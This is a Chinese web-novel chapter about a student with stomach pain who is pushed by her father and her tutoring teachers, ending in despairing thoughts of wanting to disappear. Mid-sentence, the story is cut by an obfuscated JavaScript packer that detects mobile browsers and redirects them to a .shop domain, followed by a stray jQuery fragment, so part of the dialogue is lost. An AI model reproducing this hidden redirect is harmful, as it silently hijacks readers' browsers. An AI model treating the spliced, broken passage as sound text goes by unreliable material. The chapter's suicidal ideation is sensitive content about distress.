二月三日，立春。
日历上说，万物复苏，生机始发。
早晨七点，我被胃痛惊醒。
不是那种细细密密的疼，是尖锐的、撕裂的疼，像有只手在肚子里绞。
我蜷缩在床上，额头抵着膝盖，冷汗一层一层冒出来，浸湿了睡衣。
客厅里有动静，母亲在准备早餐，煎蛋的声音，油烟机的声音，碗碟碰撞的声音。
父亲在看新闻，主播字正腔圆的声音断断续续传进来：
“……春运客流量再创新高……各地保障措施……”
声音很遥远，像隔着一层厚厚的玻璃。
疼，太疼了。
疼得眼前发黑，耳朵嗡嗡作响。
我咬住嘴唇，尝到铁锈的味道。
也许今天可以请假，就说病了，胃疼，去医院。
这样就可以不去补习班，不用做题，不用面对那些永远做不完的试卷。
这个念头刚冒出来，我就听见父亲的声音：
“断夏，起床了！八点补习班，别迟到！”
声音很近，就在门外。
然后是敲门声，不轻不重，但很急促。
“听见没有？”
“……听见了。”
声音从喉咙里挤出来，沙哑得不像自己的。
我慢慢坐起来，每动一下，胃就抽搐一次，冷汗顺着额角往下淌，流进我的眼睛里，涩涩的疼。
穿上衣服，校服裤，毛衣，羽绒服，我的动作很慢，像电影慢镜头。
镜子里的人脸色惨白，眼下有浓重的青黑，像被人打过。
走出房间时，父亲已经穿好外套在等。
他看了我一眼，眉头皱起来。
“脸色怎么这么差？”
“胃疼。”
“胃疼？”他语气里有不耐烦，“让你按时吃饭不听，现在知道难受了？”
我没说话，扶着墙，慢慢走到玄关换鞋，弯腰的时候，胃里一阵翻江倒海，差点吐出来。
母亲从厨房跑出来，手里拿着一个小药瓶。
“先吃点药。”她倒出两片白色药片，又端来一杯温水，“下午要是还疼，去医院看看。”
药片很苦，干咽下去，卡在喉咙里，苦味一直蔓延到舌根。水是温的，但喝下去像冰，一路凉到胃里。
“快点，要迟到了。”父亲已经在催。
出门。
电梯里照出我们的样子：他穿着笔挺的西装，拎着公文包；我穿着臃肿的校服，背着沉重的书包。
两个陌生人，站在同一个狭小的空间里，谁也不看谁。
外面在下雨，冬天的雨，冰冷的，细密的，像无数根针扎在脸上。
父亲撑开伞，黑色的，很大，把我整个人罩在阴影里。
车停在小区门口，上车，系安全带。
父亲打开收音机，交通广播，主播在报路况：
“……中山路拥堵，建议绕行……”
车开动了，雨刮器左右摆动，刮开雨水，又马上被新的雨水覆盖。
窗外的世界是模糊的，流动的，像一幅被水浸透的水彩画。
我的胃还在疼，药片好像没有用。
我按住胃部，手指深深陷进去，想用外力压住内部的疼痛。
没用，疼是从里面往外扩散的，像一颗石子投进水里，涟漪一圈一圈扩大。
“下午物理测验，好好考。”父亲忽然说，“上次期末的分数太难看，这次必须进步。”
“嗯。”
“补习班老师跟我说，你最近上课走神严重。”
“没有。”
“没有？”他从后视镜里看我一眼，“那为什么作业错那么多？”
我没说话，眼睛盯着窗外。
雨水在玻璃上汇成细流，弯弯曲曲往下淌。
“沈断夏，”他的声音严肃起来，“我花钱不是让你去发呆的，你算算你浪费了多少钱？”
钱，是钱。
我欠这个家的，好像一辈子都还不清了。
车在一个红灯前停下，旁边车道有辆公交车，车窗里挤满了人，每个人都面无表情，像沙丁鱼罐头里的鱼。
绿灯亮了，车继续往前开。
雨越下越大，砸在车顶上，噼里啪啦的，像有人从天上往下倒豆子。
到补习班时，雨小了一点。少年宫的广场空荡荡的，积水映出灰白的天空。
几个穿着其他学校校服的学生匆匆跑进楼里，书包在背上一颠一颠的。
“下午四点我来接你。”父亲说，“别乱跑。”
“嗯。”
我下车，撑开伞。
雨点打在伞面上，沉闷的响声。
父亲的车开走了，尾灯在雨雾里越来越小，最后消失。
我没有马上进楼。
站在广场中央，雨伞在手里慢慢旋转。
雨水从伞沿滴下来，连成一道透明的帘子。
广场角落有个垃圾桶，绿色的，已经被雨水淋透了。
旁边躺着一把破伞，伞骨折了几根，伞面翻起来，像一朵凋谢的花。
我看着那把伞，它曾经也是完整的，有用的，能挡雨的。
现在坏了，被扔在这里，等着被清理掉。
我呢？我坏了吗？
也许早就坏了，只是没人发现。
或者发现了，但装作没看见。
只要还能做题，还能考试，还能拿名次，就是好的。
至于里面是不是已经碎了，烂了，空了，不重要。
不重要。
雨又大了，风把雨水吹到脸上，冰凉，我转过身，走进少年宫。
教室里已经坐满了人，空调开得很足，空气里有潮湿的霉味，混着汗味和纸张的味道。
陈露坐在后排，看见我，朝我挥了挥手。
她的脸色还是很苍白，但眼睛是亮的，亮得不正常。
我走过去，在她旁边坐下。
“你怎么了？”她小声问，“脸色这么差。”
“胃疼。”
“又胃疼？吃药了吗？”
“吃了，没用。”
老师进来了，还是那个戴眼镜的男老师，很瘦，头发稀疏，他把一沓试卷放在讲台上。
“今天测验，九十分钟，满分一百。”他说，“最后十名，还是老规矩，下周加课一节。”
教室里响起一阵压抑的叹息，又是这样，永远有测验，永远有排名，永远有惩罚。
试卷发下来，我拿起笔，手在抖。
不是冷，是疼。
胃疼得握不住笔。
我拿起笔，在草稿纸上画。
不画公式，不画图，只是乱画。
线条扭曲，缠绕，打结。像一团乱麻，找不到头。
“还有四十五分钟。”老师说。
四十五分钟，两千七百秒，秒针再跳两千七百下。
我看着试卷，空白，大部分都是空白。
只有选择题胡乱填了几个选项，填空题写了一两个数字，大题一个字没动。
胃疼得更厉害了，像有只手伸进去，在搅，在撕，在扯。
冷汗浸湿了后背，黏糊糊的，很难受。
我抬起头，看向窗外。
雨还在下，打在玻璃上，流成一道道水痕。
窗外的世界是扭曲的，变形的，像透过鱼眼看出去。
“沈断夏。”
我转过头，陈露在看我，眼睛里有关切。
她用口型说：“你还好吗？”
我摇摇头。
不好，一点也不好。
但能说吗？说了又能怎样？
她撕下一小片草稿纸，飞快地写了什么，折起来，趁老师不注意，塞到我手里。
我打开，上面写着：“忍一忍，很快就结束了。”
忍一忍，很快就结束了。
我把纸片揉成一团，塞进口袋。
时间继续流逝，秒针一跳一跳，像心脏在抽搐。
“还有三十分钟。”
我重新拿起笔，开始写。
不管对不对，先把空白填满。
我的字写得很潦草，有些字母连自己都认不出来。公式乱套，数字乱算。
“时间到，停笔。”
我坐在那里，没动，胃还在疼，但已经麻木了。
“断夏，”陈露碰了碰我的胳膊，“你真的没事吗？脸色白得像纸。”
“没事。”我说，“就是胃疼。”
“要不要去医院？”
“不用。”
老师开始讲卷子，他在黑板上写解题过程，字很工整，但很小，我看不清。
声音从很远的地方传来，断断续续，像收音机信号不好。
我低下头，看着自己的手。手指很瘦，关节突出，皮肤是病态的白，能看见皮肤下青色的血管，蜿蜒着，像地图上的河流。
这双手写过多少字？
做过多少题？拿过多少分数？
不知道，数不清了。
只是它累了，我也累了。
下午的课是数学。
老师在讲台上讲函数，讲导数，讲积分。
声音通过麦克风传出来，带着电流的杂音，像隔着一层玻璃在听。
我趴在桌子上，胃疼得直不起腰，额头抵着冰凉的桌面，能感觉到木头的纹理，一条一条，像时间的刻痕。
“沈同学？”老师叫我，“这道题你来做。”
我慢慢站起来。
腿很软，像踩在棉花上。
走到黑板前，拿起粉笔。题目是求函数的极值。
我盯着题目看，那些字在眼前模糊，旋转。
“怎么不动？”老师问，“不会吗？”
“我……胃疼。”
“胃疼就请假，别在这里耽误时间。”他的声音里有不耐烦，“下一个人来。”
我放下粉笔，走回座位，脚步很轻，像踩在云上。
陈露又递过来一张纸条：“你去医院吧。”
我看了一眼，把纸条夹进书里。
窗外的雨停了，天空露出一点点灰白的光，很微弱，像病人最后的气息。
四点钟，下课铃响了。
人群涌向门口，像退潮一样。
我慢慢收拾书包，动作很慢，像电影慢镜头。
陈露在门口等我。
“我陪你等家长吧。”她说。
“不用，我爸马上来。”
“你确定你一个人可以？”
“可以。”
她看着我。
最后，她点点头：
“那……明天见。”
“明天见。”
她走了，背影消失在楼梯转角。
我走到少年宫门口，雨完全停了，但天还是阴的。
空气里有潮湿的泥土味，混合着汽车尾气的味道，刺鼻。
广场上积水很多，像一面面破碎的镜子，映出灰白的天空。
我踩过积水，水花溅起来，打湿了裤脚。
父亲的车还没来，我便站在路边等。
风吹过来，很冷，带着雨后的湿气。
胃又开始疼了，一阵一阵的。
我蹲下来，抱住膝盖，这样能好受一点。
旁边杂货店的门开了又关，关了又开。
这样反复了好几次，有人进去买烟，有人文具，反正每个人都匆匆忙忙的。
时间，我们都在赶时间。
赶着上学，赶着考试，赶着长大，赶着变老，赶着去一个不知道在哪里的地方。
车来了，父亲按了一下喇叭。
我站起来，腿有点麻，差点摔倒。
上车后，我系安全带。
父亲看了我一眼：“测验怎么样？”
“不知道。”
“不知道？”他皱眉，“做没做完都不知道？”
“做完了。”
“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218423|197464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就好。”他发动车子，“晚上把错题整理一下。”
“嗯。”
车开动了，收音机里在放歌，是老歌，邓丽君的《月亮代表我的心》。
温柔的声音，甜美的旋律，和窗外的灰色世界格格不入。
“你妈妈晚上加班，我们在外面吃。”父亲说。
“嗯。”
“你吃什么？”
“随便。”
“那就吃面吧，暖和。”
“好。”
车在一家面馆前停下，很小的一家店，招牌都褪色了。
里面人不多，暖气开得很足，空气里有面条和牛肉汤的味道。
我们找了个靠窗的位置坐下。
父亲点了两碗牛肉面，又加了一碟小菜。
面很快就上来了，热气腾腾的，牛肉片很薄，香菜和葱花浮在汤面上。
父亲吃得很快，呼噜呼噜的，几口就吃掉半碗。
我拿起筷子，挑起几根面条。
面条很长，绕在筷子上，我慢慢的吃，一根一根地嚼。
牛肉很老，嚼了很久也咽不下去。
“怎么不吃？”父亲抬头看我。
“胃疼。”
“又胃疼？”他说，“明天去医院看看。”
“嗯。”
“学习重要，身体也重要。”他说，语气缓和了一些，“别把自己搞垮了，有好身体才能更好的学习。”
“我知道。”我说。
窗外天色完全暗了，路灯一盏一盏亮起来，昏黄的光晕在潮湿的空气里扩散。
行人匆匆走过，影子被拉得很长，又缩短。
面吃完了。父亲去结账。
我坐在那里，看着窗玻璃上自己的倒影。
模糊的，变形的，像水里的影子。
“走吧。”父亲说。
我们走出面馆，夜风吹过来，很冷。
我把脸埋进围巾里，呼吸在围巾上凝结成细小的水珠。
上车，回家。
一路无话。
到家时，母亲还没回来。
客厅里很黑，只有玄关的灯亮着，昏黄的一小圈光。
“你回房间吧。”父亲说。
我点点头，走进房间，掩上门。
房间里很暗。
我没开灯，在黑暗里站了一会儿，直到眼睛慢慢适应了黑暗，能看见窗外的天空是暗红色的——城市的灯光反射在云层上，把夜晚染成一种病态的颜色。
我走到书桌前，打开台灯，光很刺眼，我眯起眼睛。
桌上堆着今天的作业，每一本都很厚，像一座座小山。
我坐下，打开数学卷。
写到一半，胃突然剧烈地疼起来，像有把刀在里面绞，我弯下腰，额头抵着桌沿，冷汗一层一层冒出来。
我咬住嘴唇。
就这样吧，我想，就这样疼死算了。
但疼了一会儿，又慢慢缓解了。
像潮水退去，留下满地的狼藉。
我直起身，继续写，字迹很潦草，有些地方连自己都认不出来。
写到十一点，母亲回来了。她轻轻推开我的门，看见我还在写。
“怎么还没睡？”她问。
“今天任务没写完。”
“明天再写吧，太晚了。”
“马上就好。”
她走过来，把手放在我额头上。
“怎么这么凉？”她皱眉，“胃还疼吗？”
“不疼了。”
“真的？”
“真的。”
“去睡吧。”她轻声说，“妈妈帮你写。”
我摇摇头：“不用。”
“听话。”
“真的不用。”
我们僵持了一会儿，最后，她叹了口气，转身出去了。
我继续写，写到十二点，终于写完了，手已经僵硬了，手指伸不直。
我慢慢活动手指，关节发出轻微的咔哒声。
关掉台灯，黑暗立刻涌进来，像潮水。
我躺在床上，睁着眼睛看着天花板。
虽然什么也看不见，只有一片浓得化不开的黑。
窗外的天空还是暗红色的。像一块永远不会愈合的伤疤。
明天要补习。
明天要活着。
活着。
这个词听起来很简单，但有时候又很难。
海子写：“姐姐，今夜我不关心人类，我只想你。”
姐姐是谁？
是某个具体的人吗？还是某种象征？某种救赎？
今夜，我也不关心人类。
因为，我只想消失。
远处传来救护车的鸣笛声。这次很近，很近，好像就在楼下。
声音凄厉，划破夜晚的寂静。
我坐起来，走到窗边。
楼下街道上，一辆救护车闪着蓝红色的灯，停在隔壁单元门口。
穿白大褂的人抬着担架跑进去，很快又抬着一个人跑出来。
那个人盖着白布，看不清脸，只看见一只垂下来的手，苍白，瘦弱。
担架被抬上救护车，车门关上，灯闪得更急了。
车开走了，鸣笛声渐渐远去，最后消失在夜色里。
像什么都没发生过。
我站在那里，看着空荡荡的街道。
路灯的光晕在潮湿的空气里扩散，像一个个金色的圈。
很安静，整个世界都很安静。
我回到床上，重新躺下，闭上眼睛。
黑暗像潮水一样涌上来，温柔地，缓慢地，把我吞没。
在彻底沉没之前，我听见一个声音，很轻，很轻，像从很远的地方传来：
“晚安。”
是谁在说话？
是我吗？
还是别的人？
算了，不重要了。
晚安。
世界。
晚安。
沈断夏。